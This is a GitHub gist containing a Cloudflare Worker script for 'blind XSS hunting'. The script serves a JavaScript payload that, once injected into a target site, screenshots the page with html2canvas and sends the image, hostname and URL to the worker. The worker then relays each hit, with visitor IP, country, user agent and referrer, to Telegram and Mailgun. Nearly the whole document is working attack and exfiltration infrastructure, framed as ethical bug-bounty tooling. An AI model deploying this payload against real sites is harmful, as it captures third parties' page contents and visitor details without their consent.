Last active
November 2, 2023 14:43
-
-
Save vavkamil/d40e3b8dd1373445506517684959531e to your computer and use it in GitHub Desktop.
Serverless Blind XSS hunter with Cloudflare Worker
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
addEventListener("fetch", event => { | |
event.respondWith(handleRequest(event.request)) | |
}) | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// ! DON'T LEAK THE SECRETS ! | |
// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/ | |
const telegram_token = "*****REDACTED*****"; | |
const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage"; | |
const telegram_to = "*****REDACTED*****"; // User ID | |
const mailgun_username = "api" | |
const mailgun_password = "*****REDACTED*****" | |
const mailgun_url = "https://api.mailgun.net/v3/*****REDACTED*****/messages" | |
const mailgun_to = "*****REDACTED*****" | |
const mailgun_from = "*****REDACTED*****>" | |
const mailgun_subject = "Blind XSS alert" | |
const cloudflare_route = "https://xss.*****REDACTED*****.com/blind.js" | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Function to parse query strings | |
async function getParameterByName(name, url) { | |
name = name.replace(/[\[\]]/g, "\\$&") | |
name = name.replace(/\//g, "") | |
let regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), | |
results = regex.exec(url) | |
if (!results) return null | |
else if (!results[2]) return "" | |
else if (results[2]) { | |
results[2] = results[2].replace(/\//g, "") | |
} | |
return decodeURIComponent(results[2].replace(/\+/g, " ")); | |
} | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Main stuff is happening here | |
async function handleRequest(request) { | |
console.log(new Map(request.headers)) | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Process POST request and send notifications to Telegram and E-mail | |
if (request.method == "POST") { | |
const blind_ip = request.headers.get("cf-connecting-ip") // Original visitor IP address | |
const blind_country = request.headers.get("cf-ipcountry") // Country by IP | |
const blind_referer = request.headers.get("referer") | |
const blind_useragent = request.headers.get("user-agent") | |
const postData = await request.formData(); | |
const base64_img = postData.get("png") // btoa(canvas.toDataURL()) | |
const blind_host = postData.get("host") // location.hostname | |
const blind_url = atob(atob(postData.get("url"))) // btoa(btoa(location)) | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// HTML styled message for Telegram & Mailgun | |
const mailgun_alert = ["<b>Blind XSS</b> was executed on:\n<b>" + blind_host + "</b>", | |
"from <b>IP</b>:\n<code>" + blind_ip + "</code> (<b>" + blind_country + "</b>)", | |
"with <b>user-agent</b>:\n<i>" + blind_useragent + "</i>", | |
"<b>URL</b>:\n<pre>" + blind_url + "</pre>", | |
"<b>referrer</b>:\n<pre>" + blind_referer + "</pre>", | |
"<a href='" + cloudflare_route + "?base64=" + base64_img + "'>Screenshot</a>"] | |
const telegram_alert = ["<b>Blind XSS</b> was executed on:\n<b>" + blind_host + "</b>", | |
"from <b>IP</b>:\n<code>" + blind_ip + "</code> (<b>" + blind_country + "</b>)", | |
"with <b>user-agent</b>:\n<i>" + blind_useragent + "</i>"] | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Telegram notification | |
const telegram_init = { | |
method: "POST", | |
headers: new Headers([["Content-Type", "application/x-www-form-urlencoded"]]), | |
body: "chat_id=" + telegram_to + "&disable_web_page_preview=1&parse_mode=html&text=" + telegram_alert.join("\r\n") | |
} | |
const telegram_response = await fetch(telegram_url, telegram_init) | |
console.log("Telegram response: ", telegram_response.status) | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Mailgun notification | |
let mailgun_headers = { | |
"Content-Type": "application/x-www-form-urlencoded", | |
"Authorization": "Basic " + btoa(mailgun_username + ":" + mailgun_password) | |
} | |
const mailgun_init = { | |
method: "POST", | |
headers: mailgun_headers, | |
body: "html=" + mailgun_alert.join("<br><br>") + "&subject=" + mailgun_subject + " on " + blind_host + "&from=" + mailgun_from + "&to=" + mailgun_to | |
} | |
const mailgun_response = await fetch(mailgun_url, mailgun_init) | |
// console.log("Mailgun response: " + mailgun_response.status) | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Return something here | |
return new Response("Blind XSS executed, have a nice day :)", { | |
headers: new Headers([["Content-Type", "text/plain"], ["Access-Control-Allow-Origin", "*"]]), | |
status: 200 | |
}) | |
} | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Process GET requests, return base64 image, html2canvas.min.js or Blind XSS payload | |
else { | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Check for GET parameters | |
let base64 = await getParameterByName("base64", request.url) | |
let html2canvas = await getParameterByName("html2canvas", request.url) | |
if (base64) { | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Return base64 image | |
return new Response("<img src='" + atob(base64) + "' style='border: 1px dashed red;'>", { | |
headers: new Headers([["Content-Type", "text/html"]]), | |
status: 200 | |
}) | |
} | |
else if (html2canvas) { | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Return html2canvas.min.js from our domain | |
let content = await fetch("https://html2canvas.hertzen.com/dist/html2canvas.min.js") | |
return content | |
} | |
else { | |
//////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Return Blind XSS payload | |
let js_response = ["// Ethical Blind XSS hunting, nothing malicious ;)", | |
"let script = document.createElement('script');", | |
"script.onload = function () {", | |
" html2canvas(document.documentElement, {scale: 1}).then(canvas => {", | |
" let init = {", | |
" method: 'POST',", | |
" headers: new Headers([['Content-Type', 'application/x-www-form-urlencoded']]),", | |
" body: 'png='+btoa(canvas.toDataURL())+'&host='+location.hostname+'&url='+btoa(btoa(location))", | |
" }", | |
" fetch('" + cloudflare_route + "', init)", | |
" });", | |
"};", | |
"script.src = '" + cloudflare_route + "?html2canvas=1';", | |
"document.head.appendChild(script);"].join("\r\n") | |
return new Response(js_response, { | |
headers: new Headers([["Content-Type", "application/javascript"]]), | |
status: 200 | |
}) | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment